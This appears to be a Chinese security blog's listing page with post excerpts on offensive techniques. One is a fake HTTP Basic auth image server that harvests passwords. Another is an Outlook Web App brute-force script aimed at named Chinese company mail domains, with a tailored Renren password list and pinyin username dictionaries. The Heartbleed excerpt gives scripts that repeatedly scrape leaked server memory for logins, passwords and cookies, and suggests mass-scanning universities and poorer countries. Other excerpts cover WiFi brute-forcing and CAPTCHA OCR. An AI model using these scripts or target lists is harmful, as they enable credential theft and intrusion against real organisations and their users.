利用HTTP Basic认证进行钓鱼攻击的python脚本

代码片段: https://gist.github.com/lijiejie/d51f843563b732bf3907

1) 什么是HTTP Basic认证

HTTP Basic认证是由web服务器提供的,一种轻便的身份校验方式。

访问某些敏感资源时,服务器将要求输入账号、密码进行校验,通过之后才可继续访问,如下图所示:

http-basic-auth

2) 如何使用HTTP Basic认证钓鱼

最常见的一种攻击方式,是在访问量大、又能够插入第三方图片的页面中,插入由我们构造的超链接。

这样,当别人访问页面时,浏览器就可能弹出对话框来(Chrome不会触发、而其他浏览器多数可以)。

缺乏安全意识的用户可能会把自己的账号密码输入进去,被攻击者截获。

比如上述http://106.187.34.156:1234/img/baidu_logo.gif,背后实际是python实现的一个简单http服务器。

用户初次访问,它会提示用户键入账号。

而一旦提交,它会自动302重定向到百度的logo。同时,把用户输入的账号、密码,Referrer等信息截取。还标记一个Cookie,避免反复提醒用户输入造成对方的警觉。

3) 如何防御

继续阅读利用HTTP Basic认证进行钓鱼攻击的python脚本

Microsoft Outlook WebAPP暴力破解脚本

国内很多互联网公司都在使用Outlook Web APP:

http://email.baidu.com    https://mail.letv.com/      https://mail.youku.com/    http://mail.renren-inc.com    https://mail.sohu-inc.com/    https://mail.ifeng.com/      https://mail.iqiyi.com/     https://mail.ganji.com/   https://mail.meizu.com/

攻击者可以从登陆页直接尝试暴力破解。如果能预先猜解到用户名,则破解的效率更高。

这里密码复杂度要求比较高,难于使用一般的弱口令字典来破解,最好是自己定义一个列表。

比如说破解人人网的账号,可以用类似:

<user>123
<user>123456
<user>RENREN123
<user>@renren.com
<user>.renren.com
<user>@renren
<user>@RENREN
<user>_renren
renren@<user>
renren_<user>
renren@123
www.renren.com
renren.com
1234qwer
renren123456
renren666666
123.com
renren520
renrenMAIL123456

对提供的脚本做一点说明:

Outlook.py只有一个工作线程. Outlook_threaded.py是多线程版本.

测试发现多线程版本在SSL handshake时可能出错,比如破解email.baidu.com时。这跟服务器的稳定性有关。 目前的处理方法是出错后重试!

使用方法:

Outlook.py domain users passwords
domain是站点域名,users和passwords是字典文件的名称。
Outlook_threaded.py domain users passwords threads
再额外提供一个线程数,根据服务器的稳定性自行调整,程序不是自适应的

去GitHub获取脚本

暴力破解常用的双拼音和三拼字典

国人的姓名多数是双拼或3拼。 对于用户量巨大的系统,暴力破解可以直接用拼音字典来猜解用户名。单字的拼音如下表:

a ai an ang ao 
ba bai ban bang bao bei ben beng bi bian biao bie bin bing bo bu 
ca cai can cang cao ce cen ceng cha chai chan chang chao che chen cheng chi chong chou chu chuai chuan chuang chui chun chuo ci cong cou cu cuan cui cun cuo 
da dai dan dang dao de dei deng di dian diao die ding diu dong dou du duan dui dun duo 
e en er 
fa fan fang fei fen feng fo fou fu 
ga gai gan gang gao ge gei gen geng gong gou gu gua guai guan guang gui gun guo 
ha hai han hang hao he hei hen heng hong hou hu hua huai huan huang hui hun huo 
ji jia jian jiang jiao jie jin jing jiong jiu ju juan jue jun
ka kai kan kang kao ke ken keng kong kou ku kua kuai kuan kuang kui kun kuo 
la lai lan lang lao le lei leng li lia lian liang liao lie lin ling liu long lou lu luu luan luue lun luo 
ma mai man mang mao me mei men meng mi mian miao mie min ming miu mo mou mu 
na nai nan nang nao ne nei nen neng ni nian niang niao nie nin ning niu nong nu nuu nuan nuue nuo 
o ou 
pa pai pan pang pao pei pen peng pi pian piao pie pin ping po pou pu 
qi qia qian qiang qiao qie qin qing qiong qiu qu quan que qun 
ran rang rao re ren reng ri rong rou ru ruan rui run ruo 
sa sai san sang sao se sen seng sha shai shan shang shao she shei shen sheng shi shou shu shua shuai shuan shuang shui shun shuo si song sou su suan sui sun suo 
ta tai tan tang tao te teng ti tian tiao tie ting tong tou tu tuan tui tun tuo 
wa wai wan wang wei wen weng wo wu 
xi xia xian xiang xiao xie xin xing xiong xiu xu xuan xue xun 
ya yai yan yang yao ye yi yin ying yong you yu yuan yue yun 
za zai zan zang zao ze zei zen zeng zha zhai zhan zhang zhao zhe zhei zhen zheng zhi zhong zhou zhu zhua zhuai zhuan zhuang zhui zhun zhuo zi zong zou zu zuan zui zun zuo

生成双拼和3拼字典文件,代码如下:

#encoding=gbk

words = []
with open('pinyin.txt') as inFile:
    while True:
        word = inFile.readline().strip().split(' ')
        if len(word) < 2: break
        words += word

with open('2_words_pinyin.txt', 'w') as f2:
    with open('3_words_pinyin.txt', 'w') as f3:
        for w1 in words:
            for w2 in words:
                f2.write(w1 + w2 + '\n')
                for w3 in words:
                  f3.write(w1 + w2 + w3 + '\n')  

因为3拼文件太大,笔者将其压缩上传到网盘:http://pan.baidu.com/s/1hqKH8gc

双拼字典下载:2_words_pinyin

WIFI Native API和wlan.exe的用法

一提到破解WIFI密码,很多人会直接想到BT(Back Track Linux)。

昨天想测试下用windows API(Native Wifi Reference)来做简单的暴力破解,发现效率惨不忍睹。非基于协议的破解,做了太多额外的不利于提升效率的工作,往往是不可取的。

记得之前破解QQ本地消息密码,我是通过不停发送windows消息来做的,效率也非常之低。

wlan.exe正是调用native WIFI API实现的小工具,如果我们需要在自己的程序中控制无线连接,直接调用wlan.exe即可,不需要自己去调用一系列API函数,更不会因为忘记Free Memory内存泄露。

wlan.exe来自: http://www.symantec.com/connect/articles/how-capture-and-deploy-wlan-profiles

输入wlan.exe ?可以查看程序用法:

        EnumInterface(ei)
        GetInterfaceCapability(gic)
        QueryInterface(qi)
        SetRadioState(srs)
        GetDriverStatistics(gds)
        Scan(scan)
        GetBssList(gbs)
        GetVisibleNetworkList(gvl)
        SetProfile(sp)
        SaveTempProfile(stp)
        GetProfile(gp)
        DeleteProfile(dp)
        SetProfileList(spl)
        GetProfileList(gpl)
        Connect(conn)
        Disconnect(dc)
        Discover(disc)
        RegisterNotif(r)
        help(?)

如果不知道某个功能的方法,可以执行类似:

wlan.exe help ei

wlan.exe ei: 枚举网络接口,得到所有网卡的GUID

wlan.exe gvl <GUID>: 得到附近所有可见的网络

wlan.exe  Connect(conn) <interface GUID> <SSID> <infrastructure(i)|adhoc(a)> <profile name>

连接过的网络都会创建profile,直接使用已有的profile连接即可。比如:

wlan.exe conn cb9cc136-0d9e-4527-acd2-e59b03146c78    MissYang i MissYang

下载 WLAN

OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例

OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。

单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有:

1.  Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html

nmap -sV --script=ssl-heartbleed 

2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394

3. CSHeartbleedScanner:    http://www.crowdstrike.com/community-tools/

若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。

得到活跃主机IP地址,再导入上述扫描器。

针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码

也可以根据关键词,不停抓下cookie,账号等。

将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为:

def hexdump(s):
    pdat = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

    print '%s' % (pdat.replace('......', ''),)
    print

这样就只输出有用的ascii字符串了。

 1. 正则表达式抓账号

import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)

脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。

这样可以避免重复写入同样的账号、密码。

2. 根据关键词抓数据

如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。

类似下面的代码:

import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    keywords = ['system', 'password', 'passwd', 'admin']
    for word in keywords:
        if result.find(word) > 0:
            print 'new data', time.asctime()
            with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                f.write(result)
            break
    time.sleep(1.0)

这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。

Google Drive OCR并不适合用于验证码识别

之前看到有人说Google API可以用来做图片验证码识别,想到今后或许能长期偷懒,就简单测试了下,最后发现,其实是难以用于实际攻击的。不过做了工作,还是总结一下。

1. Google Drive API快速入门

首先安装Google Client Library:

pip install --upgrade google-api-python-client

API Reference没详看,直接在Google Developers搜OCR,找到了Files: insert 方法。

它的作用是上传并创建新文档。可选参数OCR可以设定是否要应用OCR,识别图片和PDF中的文字。

阅读 Quickstart: Run a Drive App in Python 上手,有兴趣还可以看看底部的视频。 示例代码地址:goo.gl/dxuuB

https://console.developers.google.com/创建一个新的Project

在新建的Project下创建Client ID,如下图所示:

credentials 继续阅读Google Drive OCR并不适合用于验证码识别